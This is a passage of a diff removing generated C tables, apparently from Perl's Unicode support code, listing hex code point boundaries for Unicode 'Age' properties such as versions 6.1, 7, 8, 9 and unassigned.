0x2798, - 0x27B0, - 0x27B1, - 0x27BF, - 0x27C0, - 0x27CE, - 0x27D0, - 0x2D70, - 0x2D71, - 0x2D7F, - 0x2D80, - 0x31B8, - 0x31BB, - 0xA660, - 0xA662, - 0xA78D, - 0xA78F, - 0xA790, - 0xA792, - 0xA7A0, - 0xA7AA, - 0xA7FA, - 0xA7FB, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xFBB2, - 0xFBC2, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x16800, - 0x16A39, - 0x1B000, - 0x1B002, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0BF, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0E0, - 0x1F130, - 0x1F131, - 0x1F132, - 0x1F13D, - 0x1F13E, - 0x1F13F, - 0x1F140, - 0x1F142, - 0x1F143, - 0x1F146, - 0x1F147, - 0x1F14A, - 0x1F14F, - 0x1F157, - 0x1F158, - 0x1F15F, - 0x1F160, - 0x1F16A, - 0x1F170, - 0x1F179, - 0x1F17A, - 0x1F17B, - 0x1F17D, - 0x1F17F, - 0x1F180, - 0x1F18A, - 0x1F18E, - 0x1F190, - 0x1F191, - 0x1F19B, - 0x1F1E6, - 0x1F200, - 0x1F201, - 0x1F203, - 0x1F232, - 0x1F23B, - 0x1F250, - 0x1F252, - 0x1F300, - 0x1F321, - 0x1F330, - 0x1F336, - 0x1F337, - 0x1F37D, - 0x1F380, - 0x1F394, - 0x1F3A0, - 0x1F3C5, - 0x1F3C6, - 0x1F3CB, - 0x1F3E0, - 0x1F3F1, - 0x1F400, - 0x1F43F, - 0x1F440, - 0x1F441, - 0x1F442, - 0x1F4F8, - 0x1F4F9, - 0x1F4FD, - 0x1F500, - 0x1F53E, - 0x1F550, - 0x1F568, - 0x1F5FB, - 0x1F600, - 0x1F601, - 0x1F611, - 0x1F612, - 0x1F615, - 0x1F616, - 0x1F617, - 0x1F618, - 0x1F619, - 0x1F61A, - 0x1F61B, - 0x1F61C, - 0x1F61F, - 0x1F620, - 0x1F626, - 0x1F628, - 0x1F62C, - 0x1F62D, - 0x1F62E, - 0x1F630, - 0x1F634, - 0x1F635, - 0x1F641, - 0x1F645, - 0x1F650, - 0x1F680, - 0x1F6C6, - 0x1F700, - 0x1F774, - 0x2B740, - 0x2B81E -}; - -static const UV PL_AGE__6_DOT_1_invlist[] = { /* for all charsets */ - 179, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x58F, - 0x590, - 0x604, - 0x605, - 0x8A0, - 0x8A1, - 0x8A2, - 0x8AD, - 0x8E4, - 0x8FF, - 0xAF0, - 0xAF1, - 0xEDE, - 0xEE0, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10FD, - 0x1100, - 0x1BAB, - 0x1BAE, - 0x1BBA, - 0x1BC0, - 0x1CC0, - 0x1CC8, - 0x1CF3, - 0x1CF7, - 0x27CB, - 0x27CC, - 0x27CD, - 0x27CE, - 0x2CF2, - 0x2CF4, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D66, - 0x2D68, - 0x2E32, - 0x2E3C, - 0x9FCC, - 0x9FCD, - 0xA674, - 0xA67C, - 0xA69F, - 0xA6A0, - 0xA792, - 0xA794, - 0xA7AA, - 0xA7AB, - 0xA7F8, - 0xA7FA, - 0xAAE0, - 0xAAF7, - 0xFA2E, - 0xFA30, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11180, - 0x111C9, - 0x111D0, - 0x111DA, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F16A, - 0x1F16C, - 0x1F540, - 0x1F544, - 0x1F600, - 0x1F601, - 0x1F611, - 0x1F612, - 0x1F615, - 0x1F616, - 0x1F617, - 0x1F618, - 0x1F619, - 0x1F61A, - 0x1F61B, - 0x1F61C, - 0x1F61F, - 0x1F620, - 0x1F626, - 0x1F628, - 0x1F62C, - 0x1F62D, - 0x1F62E, - 0x1F630, - 0x1F634, - 0x1F635 -}; - -static const UV PL_AGE__6_DOT_2_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20BA, - 0x20BB -}; - -static const UV PL_AGE__6_DOT_3_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x61C, - 0x61D, - 0x2066, - 0x206A -}; - -static const UV PL_AGE__7_invlist[] = { /* for all charsets */ - 283, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x37F, - 0x380, - 0x528, - 0x530, - 0x58D, - 0x58F, - 0x605, - 0x606, - 0x8A1, - 0x8A2, - 0x8AD, - 0x8B3, - 0x8FF, - 0x900, - 0x978, - 0x979, - 0x980, - 0x981, - 0xC00, - 0xC01, - 0xC34, - 0xC35, - 0xC81, - 0xC82, - 0xD01, - 0xD02, - 0xDE6, - 0xDF0, - 0x16F1, - 0x16F9, - 0x191D, - 0x191F, - 0x1AB0, - 0x1ABF, - 0x1CF8, - 0x1CFA, - 0x1DE7, - 0x1DF6, - 0x20BB, - 0x20BE, - 0x23F4, - 0x23FB, - 0x2700, - 0x2701, - 0x2B4D, - 0x2B50, - 0x2B5A, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD2, - 0x2E3C, - 0x2E43, - 0xA698, - 0xA69E, - 0xA794, - 0xA7A0, - 0xA7AB, - 0xA7AE, - 0xA7B0, - 0xA7B2, - 0xA7F7, - 0xA7F8, - 0xA9E0, - 0xA9FF, - 0xAA7C, - 0xAA80, - 0xAB30, - 0xAB60, - 0xAB64, - 0xAB66, - 0xFE27, - 0xFE2E, - 0x1018B, - 0x1018D, - 0x101A0, - 0x101A1, - 0x102E0, - 0x102FC, - 0x1031F, - 0x10320, - 0x10350, - 0x1037B, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10860, - 0x1089F, - 0x108A7, - 0x108B0, - 0x10A80, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B80, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x1107F, - 0x11080, - 0x11150, - 0x11177, - 0x111CD, - 0x111CE, - 0x111DA, - 0x111DB, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123E, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11301, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115CA, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11AC0, - 0x11AF9, - 0x1236F, - 0x12399, - 0x12463, - 0x1246F, - 0x12474, - 0x12475, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1F0BF, - 0x1F0C0, - 0x1F0E0, - 0x1F0F6, - 0x1F10B, - 0x1F10D, - 0x1F321, - 0x1F32D, - 0x1F336, - 0x1F337, - 0x1F37D, - 0x1F37E, - 0x1F394, - 0x1F3A0, - 0x1F3C5, - 0x1F3C6, - 0x1F3CB, - 0x1F3CF, - 0x1F3D4, - 0x1F3E0, - 0x1F3F1, - 0x1F3F8, - 0x1F43F, - 0x1F440, - 0x1F441, - 0x1F442, - 0x1F4F8, - 0x1F4F9, - 0x1F4FD, - 0x1F4FF, - 0x1F53E, - 0x1F540, - 0x1F544, - 0x1F54B, - 0x1F568, - 0x1F57A, - 0x1F57B, - 0x1F5A4, - 0x1F5A5, - 0x1F5FB, - 0x1F641, - 0x1F643, - 0x1F650, - 0x1F680, - 0x1F6C6, - 0x1F6D0, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F4, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE -}; - -static const UV PL_AGE__8_invlist[] = { /* for all charsets */ - 119, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x8B3, - 0x8B5, - 0x8E3, - 0x8E4, - 0xAF9, - 0xAFA, - 0xC5A, - 0xC5B, - 0xD5F, - 0xD60, - 0x13F5, - 0x13F6, - 0x13F8, - 0x13FE, - 0x20BE, - 0x20BF, - 0x218A, - 0x218C, - 0x2BEC, - 0x2BF0, - 0x9FCD, - 0x9FD6, - 0xA69E, - 0xA69F, - 0xA78F, - 0xA790, - 0xA7B2, - 0xA7B8, - 0xA8FC, - 0xA8FE, - 0xAB60, - 0xAB64, - 0xAB70, - 0xABC0, - 0xFE2E, - 0xFE30, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x10900, - 0x109BC, - 0x109BE, - 0x109C0, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x111C9, - 0x111CD, - 0x111DB, - 0x111E0, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x11300, - 0x11301, - 0x11350, - 0x11351, - 0x115CA, - 0x115DE, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x12399, - 0x1239A, - 0x12480, - 0x12544, - 0x14400, - 0x14647, - 0x1D1DE, - 0x1D1E9, - 0x1D800, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1F32D, - 0x1F330, - 0x1F37E, - 0x1F380, - 0x1F3CF, - 0x1F3D4, - 0x1F3F8, - 0x1F400, - 0x1F4FF, - 0x1F500, - 0x1F54B, - 0x1F550, - 0x1F643, - 0x1F645, - 0x1F6D0, - 0x1F6D1, - 0x1F910, - 0x1F919, - 0x1F980, - 0x1F985, - 0x1F9C0, - 0x1F9C1, - 0x2B820, - 0x2CEA2 -}; - -static const UV PL_AGE__9_invlist[] = { /* for all charsets */ - 105, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E3, - 0xC80, - 0xC81, - 0xD4F, - 0xD50, - 0xD54, - 0xD57, - 0xD58, - 0xD5F, - 0xD76, - 0xD79, - 0x1C80, - 0x1C89, - 0x1DFB, - 0x1DFC, - 0x23FB, - 0x23FF, - 0x2E43, - 0x2E45, - 0xA7AE, - 0xA7AF, - 0xA8C5, - 0xA8C6, - 0x1018D, - 0x1018F, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x1123E, - 0x1123F, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11660, - 0x1166D, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x16FE0, - 0x16FE1, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1F19B, - 0x1F1AD, - 0x1F23B, - 0x1F23C, - 0x1F57A, - 0x1F57B, - 0x1F5A4, - 0x1F5A5, - 0x1F6D1, - 0x1F6D3, - 0x1F6F4, - 0x1F6F7, - 0x1F919, - 0x1F91F, - 0x1F920, - 0x1F928, - 0x1F930, - 0x1F931, - 0x1F933, - 0x1F93F, - 0x1F940, - 0x1F94C, - 0x1F950, - 0x1F95F, - 0x1F985, - 0x1F992 -}; - -static const UV PL_AGE__NA_invlist[] = { /* for all charsets */ - 1318, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x61D, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2065, - 0x2066, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDD0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 